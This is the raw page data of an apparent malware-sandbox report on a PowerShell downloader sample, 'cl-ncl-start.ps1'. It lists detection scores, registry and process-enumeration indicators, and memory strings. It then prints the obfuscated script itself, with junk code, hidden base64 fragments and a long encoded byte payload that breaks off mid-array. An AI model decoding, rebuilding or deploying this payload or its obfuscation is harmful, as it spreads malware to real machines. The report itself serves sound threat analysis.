26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 51:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TrojanDownloader/PS.Netloader Sample 0dccf5e59a32… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0dccf5e59a32…. Malware family: TrojanDownloader/PS.Netloader. Threat score 100/100. 2/27 AV engines flagged this file. 4 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85","keywords":["Malicious","TrojanDownloader/PS.Netloader","malware analysis","sandbox report","threat intelligence","0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85"],"about":{"@type":"SoftwareApplication","name":"cl-ncl-start.ps1","applicationCategory":["powershell","ps"],"identifier":"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TrojanDownloader/PS.Netloader","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T570,file/memory contains long string with (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 }" (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_2.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 }" (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_7.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 4 }" (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_4.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 }" (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_9.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 0 }" (Indicator: "Remove-Item"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Remove-Item"; File: "AMSI")28:T7c9,file/memory contains long string with (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "while ($null) { $run = 0; Start-Sleep -Seconds 1 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "while ($null) { $run = 4; Start-Sleep -Seconds 3 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_2.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_7.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 4 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_4.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { Remove-Item -Path "C:\temp\logfile_9.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 0 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "while ($null) { $run = 7; Start-Sleep -Seconds 1 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "while ($binpath) { Start-Sleep -Seconds 9 }" (Indicator: "Start-Sleep"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")29:T644,file/memory contains long string with (Indicator: "ConvertFrom-Json"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "ConvertTo-Json"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "ConvertTo-CSV"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-AzStorageAccount -OutVariable result -InformationLevel Quiet && ($hmtr)} = "IChHZXQtR";${ConvertFrom-Json -Recurse -Uri security.microsoft.com/incidents && ($rkgats)} = "GF0ZSkuQ";" (Indicator: "ConvertFrom-Json"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${ConvertTo-Json -OutVariable result -InformationLevel Minimal && ($ersp)} = "GF0ZSkgL";${Write-Output -TimeoutSec 30 -Path .\Windows\System32 && ($alg)} = "Wx0ICRl";" (Indicator: "ConvertTo-Json"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Select-Object -Debug -DestinationPath .\Export && ($oaei)} = "9va2VkVmFsdWU";${ConvertTo-Csv -Verbose -DestinationPath .\Export && ($saiho)} = "KICAgIFdyaXRlLU";${Get-PfxCertificate -OutputFormat -Identity $adUser09 && ($ptlrr)} = "hvc3";" (Indicator: "ConvertTo-CSV"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${ConvertTo-Csv -InformationAction Continue -Seconds 48 && ($agk)} = 746" (Indicator: "ConvertTo-CSV"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")2a:T80a,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\PROGID") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\PROGID") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\PROGID") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\PROGID") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\INPROCSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\INPROCSERVER32") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\INPROCSERVER32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\INPROCSERVER32")2b:T6e6,"powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2319301699 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2319310269 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2320837435 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2320845439 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2323339369 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2323348514 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2323438991 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2323447428 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2324174386 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2325181802 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2325191633 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2325579651 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2325588215 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2326978908 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2326987500 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2327711217 [PID: 6920] "powershell.exe" queried SystemProcessInformation at 00000000-00006920-00000C15-2327720192 [PID: 6920]2c:Tc351,Script name: C:\0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin.ps1 contents: ${Optimize-Volume -Filter * -InformationLevel Minimal && ($nea)} = "JGVu";${Out-String -Property * -TaskPath \Microsoft\Windows\ && ($efm)} = "ZCA9"; $Win32_count = 6 while ($null) { $run = 0; Start-Sleep -Seconds 1 } if ($completion -eq $null) { $count = 9 } ${Get-AzStorageAccount -OutVariable result -InformationLevel Quiet && ($hmtr)} = "IChHZXQtR";${ConvertFrom-Json -Recurse -Uri security.microsoft.com/incidents && ($rkgats)} = "GF0ZSkuQ"; while ($null) { $run = 4; Start-Sleep -Seconds 3 } for ($i = 0; $i -lt 0; $i++) { $nextvar = $i } ${Get-MsolUser -Property * -Server $adfsServer && ($tngrnm)} = "WRkU2Vjb25kc"; try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 } if ($errorLevel -gt 1) { Write-Output '$result' } ${Export-Certificate -Debug -TaskPath \Monitoring\ && ($naniba)} = "ygzKQoKd2hpbG"; $test07 = 6 if ($errorLevel -gt 1) { Write-Output '$result' } while ($counter -lt 8) { $counter++ } ${Import-Module -WarningVariable warnLog -Uri update.microsoft.com/microsoftupdate && ($mhe)} = "UgKChH"; while ($counter -lt 8) { $counter++ } try { Remove-Item -Path "C:\temp\logfile_2.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 } $backupcount = 3 ${Get-PhysicalDisk -NoClobber -Identity DOMAIN\svc_backup00 && ($elbirk)} = "ZXQtR"; $test03 = 6 if ($completion -eq $null) { $count = 5 } try { Remove-Item -Path "C:\temp\logfile_7.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 4 } ${ConvertTo-Json -OutVariable result -InformationLevel Minimal && ($ersp)} = "GF0ZSkgL";${Write-Output -TimeoutSec 30 -Path .\Windows\System32 && ($alg)} = "Wx0ICRl"; $setpreCalculatedDigit = "t465d987h234" [Byte[]]$useAccumulation = 102 104 99 87 100 103 116 88 88 108 52 80 82 48 70 86 65 70 49 90 87 48 82 113 88 86 81 99 87 49 120 97 102 104 99 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 122 108 83 65 86 112 86 81 81 49 87 86 104 99 118 86 48 99 90 74 70 86 69 86 65 108 99 84 70 73 97 81 82 78 80 102 106 48 83 99 81 116 85 87 86 52 71 102 70 74 90 69 85 99 87 67 69 81 98 89 103 86 82 82 71 107 71 68 70 104 54 99 108 86 74 89 81 81 105 82 70 65 71 84 86 108 83 100 104 120 82 87 109 65 117 66 70 69 71 81 69 100 118 98 83 90 79 87 110 65 57 81 87 108 90 77 108 53 115 89 105 53 80 87 103 85 98 81 86 70 90 73 103 82 115 87 66 120 74 88 88 81 81 87 109 108 122 84 86 49 115 90 104 120 80 87 49 111 117 87 70 70 122 73 85 100 88 89 105 53 78 100 72 65 109 81 108 65 71 79 107 74 54 99 105 74 78 89 110 81 81 87 70 70 122 84 81 86 115 99 106 53 75 89 87 56 105 88 110 57 56 74 107 82 88 66 106 90 80 87 85 52 81 65 87 108 106 73 108 49 85 102 81 57 75 88 70 111 69 82 109 108 106 84 69 100 88 98 83 111 74 87 103 85 109 81 70 66 122 72 69 74 83 99 108 120 75 87 109 65 43 87 86 74 115 73 107 66 54 99 104 120 74 88 70 111 57 81 86 90 106 77 108 116 85 66 49 120 75 87 103 81 113 88 108 66 90 77 85 100 88 89 108 86 83 89 86 52 81 88 70 70 122 84 86 49 85 84 66 120 88 87 49 111 117 65 71 112 115 74 108 120 86 88 66 120 84 87 108 112 99 81 87 107 72 79 103 82 118 98 84 90 74 89 85 52 81 87 109 108 97 74 108 104 86 87 70 70 74 89 85 52 81 87 87 112 106 71 69 100 84 89 108 86 80 88 72 65 69 82 70 70 100 68 69 86 88 89 108 86 83 87 87 65 121 83 50 108 106 73 85 100 52 102 83 112 87 89 87 56 105 88 109 108 51 68 69 82 86 66 105 111 73 88 71 81 81 83 71 111 72 80 107 82 118 87 68 85 69 71 106 49 104 70 108 100 82 70 49 116 83 85 65 66 113 84 69 85 66 88 70 81 85 83 82 82 116 90 104 49 75 84 70 73 70 72 71 100 82 68 69 65 89 99 65 112 97 86 49 77 66 88 70 82 112 84 103 53 106 89 83 73 66 70 110 65 78 82 109 66 65 66 108 49 89 85 107 120 105 97 48 52 98 82 108 90 90 87 110 100 90 87 120 74 99 83 107 77 49 67 65 108 121 66 108 116 98 100 119 86 75 88 81 70 99 89 85 100 71 72 86 112 82 72 85 66 57 86 49 111 74 87 49 49 54 70 86 108 84 82 107 48 81 77 106 53 77 86 108 120 90 70 86 49 89 82 107 81 69 71 66 77 77 86 49 66 98 69 70 70 83 90 104 66 76 85 86 107 80 69 104 53 72 66 70 104 102 81 85 81 98 70 66 86 105 79 120 100 71 70 86 112 83 87 103 108 57 86 49 111 74 87 49 48 85 83 82 82 120 85 66 65 85 97 108 89 71 86 108 120 90 86 66 108 47 87 120 82 77 84 72 103 75 87 70 90 88 65 66 81 83 85 81 116 85 87 86 52 71 81 84 107 57 85 70 112 70 99 81 116 85 87 86 52 71 69 103 52 85 86 108 120 67 81 82 82 75 65 104 104 72 82 85 82 68 87 104 66 69 86 65 112 100 86 49 111 115 88 86 53 86 72 86 111 89 86 103 116 85 71 106 49 104 81 70 90 65 65 85 90 89 70 85 66 88 83 51 77 72 88 49 74 100 71 106 53 76 80 50 52 100 84 86 107 66 83 110 49 98 65 120 81 76 70 84 57 57 87 85 77 78 90 108 112 90 69 88 116 81 85 120 100 99 84 71 112 83 67 71 90 65 70 51 112 90 81 107 112 116 86 50 73 71 87 48 116 103 72 86 108 84 90 103 70 97 86 49 107 77 81 82 115 100 102 104 66 84 84 82 82 81 83 107 52 57 88 70 112 77 86 65 107 87 69 82 70 88 85 85 56 109 88 85 81 85 88 120 81 68 65 70 81 122 98 48 85 66 82 108 89 90 80 70 116 70 81 85 82 114 84 86 107 71 87 49 49 84 86 69 66 101 85 69 82 99 86 107 69 66 81 70 120 97 71 86 70 89 81 85 82 97 85 70 73 76 87 82 48 85 74 70 104 84 86 66 100 99 70 66 99 102 85 49 112 65 87 104 111 89 80 50 53 102 84 86 107 76 82 108 112 98 71 104 82 120 85 66 65 85 97 108 73 70 88 85 100 82 74 70 86 69 86 65 108 99 84 70 73 97 81 82 78 80 102 104 81 87 70 85 81 100 86 86 89 81 99 48 100 65 69 86 108 71 81 82 99 90 66 82 100 98 79 66 77 85 86 66 81 83 87 81 86 75 84 72 73 97 81 70 120 71 86 65 107 87 69 81 112 77 86 70 116 105 79 66 77 85 86 66 82 81 87 104 89 90 69 66 77 74 82 107 100 82 71 85 82 67 70 86 107 90 67 81 120 73 70 108 74 65 65 70 70 98 82 82 65 90 70 86 115 78 69 104 100 90 70 85 120 51 81 82 66 99 86 85 99 99 81 81 103 85 85 70 86 67 81 81 70 85 83 69 78 68 71 82 111 85 68 122 52 87 70 85 81 90 71 66 100 73 69 107 100 71 68 82 82 78 80 48 81 90 71 66 100 73 69 104 77 85 86 66 81 87 70 85 66 88 83 51 77 72 88 49 74 100 71 104 81 76 70 83 78 99 84 66 111 52 85 48 70 86 71 86 70 67 85 66 90 75 77 104 100 73 69 104 77 85 86 66 81 87 70 85 81 90 71 66 77 97 86 48 66 69 71 49 112 70 85 69 81 69 71 72 52 71 82 70 120 102 69 82 108 104 85 65 90 114 88 85 89 100 86 48 66 65 86 66 108 106 82 119 48 90 72 70 107 98 100 108 120 90 70 86 49 89 70 85 108 116 85 86 111 78 88 85 90 65 74 49 70 86 70 86 85 74 71 66 111 57 81 86 90 50 70 85 100 102 86 106 82 89 83 107 81 66 88 70 81 85 87 88 108 84 81 81 120 87 88 66 99 103 86 49 74 81 102 104 81 87 70 85 81 90 71 66 100 73 69 104 77 85 86 66 66 83 86 66 66 99 97 48 77 97 87 49 49 84 86 65 107 87 69 82 90 99 83 48 99 72 88 69 66 82 87 110 120 84 86 65 66 99 83 107 82 71 100 108 74 65 69 84 52 87 70 85 81 90 71 66 100 73 69 104 77 85 86 66 82 102 85 48 81 82 72 70 77 74 82 108 90 110 65 69 90 102 87 119 77 81 71 69 120 105 69 104 77 85 86 66 81 87 70 85 81 90 71 66 100 73 69 104 77 85 86 66 66 83 86 66 66 99 71 65 112 73 97 88 100 86 65 70 70 105 88 65 108 99 90 81 49 83 89 108 74 71 66 49 69 101 69 81 66 89 84 70 73 55 82 107 70 100 71 108 77 102 80 48 81 90 71 66 100 73 69 104 77 85 86 66 81 87 70 85 81 90 71 66 99 97 86 48 100 66 66 108 111 87 98 105 66 89 84 70 73 56 87 49 53 82 79 49 74 81 82 103 70 78 90 81 49 83 88 70 90 68 88 66 66 83 86 66 66 99 70 109 77 72 90 49 49 100 65 108 70 69 82 103 86 86 98 70 52 70 86 120 115 100 88 82 112 105 87 106 70 88 85 85 56 56 87 49 53 82 74 49 70 86 87 103 112 100 83 120 57 66 79 66 77 85 86 66 81 87 70 85 81 90 71 66 100 73 69 107 52 85 69 86 104 70 85 69 82 67 77 104 100 73 69 104 77 85 86 66 81 87 70 85 81 90 71 66 100 73 69 104 78 65 72 69 90 90 81 107 81 98 100 108 104 73 86 108 74 65 69 82 82 70 81 82 90 81 86 108 66 73 87 49 48 85 72 70 70 88 85 81 70 76 83 120 108 75 79 66 77 85 86 66 81 87 70 85 81 90 71 66 100 73 69 107 52 43 86 66 81 87 70 85 81 90 71 66 99 86 69 108 66 86 65 70 100 101 70 82 56 122 71 66 100 73 69 104 77 85 86 66 81 87 70 85 81 90 72 70 115 74 81 85 100 120 66 107 90 90 82 48 81 69 71 66 77 51 79 66 77 85 86 66 81 87 70 85 81 90 82 84 49 73 69 104 77 85 67 84 52 87 70 85 81 90 84 70 56 97 88 85 81 85 86 104 66 98 86 66 120 52 84 69 77 78 88 48 78 65 66 120 82 88 81 82 66 99 86 85 99 99 81 82 48 85 79 70 86 70 81 85 82 99 83 107 85 72 81 65 107 85 85 70 104 88 82 104 66 56 83 107 85 72 81 66 69 43 67 84 53 81 81 65 112 97 84 70 52 72 88 66 78 51 72 70 70 86 88 107 108 112 87 85 85 74 88 49 90 65 69 85 90 70 70 82 56 122 71 66 99 89 85 48 70 86 71 82 120 116 87 81 116 88 88 50 112 77 86 48 116 69 72 85 90 80 89 65 112 81 81 66 53 105 69 104 77 81 66 49 70 69 81 119 70 76 98 86 107 66 83 104 77 74 86 72 78 84 81 85 108 114 88 86 111 72 82 108 90 107 70 85 90 88 87 65 70 78 88 85 85 98 79 66 77 85 66 108 70 67 81 66 90 88 71 66 77 98 86 48 70 67 69 85 90 106 87 119 49 66 71 66 111 69 82 104 77 81 69 85 120 71 88 66 90 65 98 86 107 66 83 106 108 74 102 106 53 67 82 120 48 90 81 122 49 73 69 104 100 100 66 50 74 88 87 81 49 100 71 65 112 73 99 86 116 82 70 49 56 98 90 81 86 76 87 86 111 78 82 108 90 71 66 120 81 98 85 66 120 74 85 85 85 82 90 49 49 100 68 66 81 83 85 66 120 74 85 85 85 82 90 49 49 100 68 68 52 87 70 85 66 76 88 85 81 100 88 107 99 85 83 82 82 102 85 48 81 82 72 70 52 98 90 70 74 89 72 86 65 102 70 82 56 90 71 110 89 76 85 86 90 69 65 70 70 83 70 48 82 69 71 70 73 69 81 86 89 85 68 120 81 85 90 119 70 84 88 86 81 99 86 49 99 87 86 69 107 56 70 85 82 117 83 108 52 99 86 120 53 56 71 48 100 67 70 85 66 76 88 85 81 100 88 107 99 43 86 66 81 56 70 85 82 81 88 104 100 65 72 49 49 98 65 66 81 83 88 66 100 118 87 86 115 66 86 104 111 85 68 122 52 87 70 85 81 90 71 66 99 78 83 108 112 65 86 65 85 56 70 85 82 69 77 104 100 73 79 69 52 85 70 49 86 67 86 103 119 90 81 122 49 73 69 109 82 71 72 85 66 84 71 67 120 87 83 48 78 73 69 71 70 82 72 108 70 86 81 81 70 100 71 66 56 69 88 86 120 102 65 85 81 87 85 119 86 81 86 70 73 77 71 119 107 85 85 66 119 83 97 107 112 56 81 70 81 78 81 107 100 100 71 49 111 89 101 65 70 75 83 49 89 80 86 120 111 87 102 104 81 87 85 66 120 81 84 66 100 90 79 69 52 43 102 104 99 87 89 81 86 75 85 120 99 114 88 86 49 83 72 86 78 68 82 119 86 78 85 86 103 71 69 109 66 82 70 48 66 102 87 103 111 122 71 119 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 80 48 66 112 86 48 65 78 81 71 66 99 69 86 104 97 66 108 89 90 66 82 100 75 70 108 90 97 65 103 53 108 84 66 100 78 88 86 111 54 88 86 120 65 75 71 100 80 82 106 78 50 98 119 70 99 98 109 82 100 71 108 66 90 81 104 100 112 86 48 65 78 81 71 66 99 69 86 104 97 97 82 73 73 70 103 99 48 81 108 120 68 69 85 90 70 88 81 70 86 86 66 107 78 83 108 89 87 102 104 66 109 87 104 78 99 83 109 81 65 86 49 57 89 81 103 65 87 67 69 81 98 72 70 73 71 82 65 108 110 68 85 100 67 85 65 108 114 86 49 103 99 98 109 66 78 66 48 66 84 87 70 99 76 90 71 65 66 88 70 100 98 65 48 100 109 87 104 78 99 83 109 81 65 86 49 57 89 75 69 73 72 71 49 82 108 83 70 103 102 86 48 70 72 72 70 70 97 87 85 112 99 81 70 74 75 79 66 100 107 71 48 78 84 82 122 100 82 88 86 115 69 65 81 69 85 83 82 81 83 90 81 116 79 88 85 85 55 87 108 90 89 71 65 73 67 80 48 66 116 87 85 81 68 102 70 74 90 69 87 66 88 85 107 81 69 71 66 85 114 102 109 120 54 78 51 104 112 70 50 52 100 98 70 89 98 87 88 74 66 65 70 120 90 82 48 81 69 71 66 77 78 88 69 85 79 73 87 100 122 90 121 66 50 100 88 89 104 102 66 77 102 86 66 90 113 70 48 81 83 71 66 77 78 88 69 85 79 73 87 100 122 90 121 112 52 100 88 74 105 70 108 70 78 65 70 70 70 70 86 107 90 89 50 81 82 81 85 100 82 71 82 112 105 85 66 120 78 70 110 73 71 85 86 120 81 72 86 112 82 97 70 52 68 98 87 77 117 67 104 49 122 69 85 66 48 84 66 66 99 83 120 57 77 90 108 74 72 72 51 86 68 81 81 120 87 83 104 53 105 70 107 66 99 70 82 81 76 70 84 57 113 81 85 81 99 86 49 52 97 74 49 70 86 81 66 90 81 84 69 53 71 99 85 70 78 66 69 66 90 85 104 90 89 83 70 56 82 72 71 66 56 78 81 89 68 65 122 107 68 65 110 81 97 86 49 74 65 69 82 119 102 80 120 66 76 81 82 99 84 79 66 77 85 86 66 81 83 88 81 86 75 85 66 100 86 69 104 100 72 72 70 85 89 100 103 116 85 83 69 73 99 86 51 116 86 66 49 119 101 69 81 90 65 84 70 73 98 71 122 108 74 86 70 74 102 87 119 86 86 86 69 53 73 83 84 107 85 86 66 81 87 69 82 100 82 87 82 107 115 87 48 66 69 71 48 100 84 72 85 48 122 82 84 49 77 82 48 66 82 66 109 82 69 85 65 74 81 81 66 100 86 69 104 53 101 71 49 49 89 70 85 119 100 85 70 89 98 87 109 103 69 87 104 111 66 97 69 82 70 71 72 69 72 81 72 90 86 70 49 119 98 101 103 90 84 88 86 81 99 69 107 103 85 85 71 115 89 89 81 116 113 84 69 85 66 88 70 81 99 85 48 119 69 69 107 48 90 82 82 53 105 70 109 100 86 66 49 57 52 86 65 108 99 97 69 85 78 86 70 112 77 86 65 107 87 70 48 66 116 87 85 81 68 102 70 74 90 69 87 66 88 85 107 66 77 83 49 73 97 89 107 70 82 69 108 49 79 70 50 52 100 98 70 89 98 87 88 49 86 71 86 69 87 67 69 81 98 87 72 65 72 88 86 82 89 69 86 82 106 82 81 66 89 84 70 73 97 85 109 100 86 66 49 57 87 90 104 49 75 84 70 73 70 85 103 99 68 87 103 81 89 65 108 77 74 67 120 108 77 90 108 74 72 72 51 112 88 87 65 70 112 83 108 73 79 87 48 116 80 81 65 77 69 65 49 100 52 67 81 66 70 65 72 99 67 81 104 107 67 66 105 89 65 70 81 53 101 67 119 69 90 81 81 73 70 66 70 66 57 67 72 82 90 99 51 90 51 67 82 89 56 69 84 66 89 83 49 119 52 85 48 100 99 86 65 107 87 70 122 104 90 102 49 103 72 86 86 57 82 70 71 100 80 82 104 66 99 86 87 115 73 100 86 120 98 69 49 104 84 86 84 70 74 88 70 89 99 86 48 70 111 86 106 52 83 89 81 86 75 85 50 73 54 101 120 77 74 86 66 89 83 89 81 86 75 85 50 99 74 82 108 115 81 73 70 86 70 88 105 112 89 86 86 74 75 79 68 107 81 66 48 66 88 82 120 66 112 87 85 85 99 99 120 77 74 86 66 90 87 102 65 112 80 86 49 119 78 72 49 78 109 69 85 100 67 101 65 70 78 85 70 103 77 69 103 81 78 87 103 119 72 65 86 85 79 67 81 100 72 85 86 56 90 71 108 100 97 71 66 100 78 87 85 85 99 69 108 78 73 86 70 82 47 87 120 74 87 85 49 74 70 85 110 90 77 66 69 90 84 82 104 100 81 86 49 108 75 79 66 100 72 65 70 86 69 81 84 82 89 83 107 77 113 69 103 52 85 86 108 82 47 87 120 74 87 85 49 74 70 85 109 70 82 66 48 66 55 85 66 66 82 86 49 78 73 66 81 111 97 84 65 85 67 66 70 77 73 67 66 103 76 88 104 53 97 70 49 103 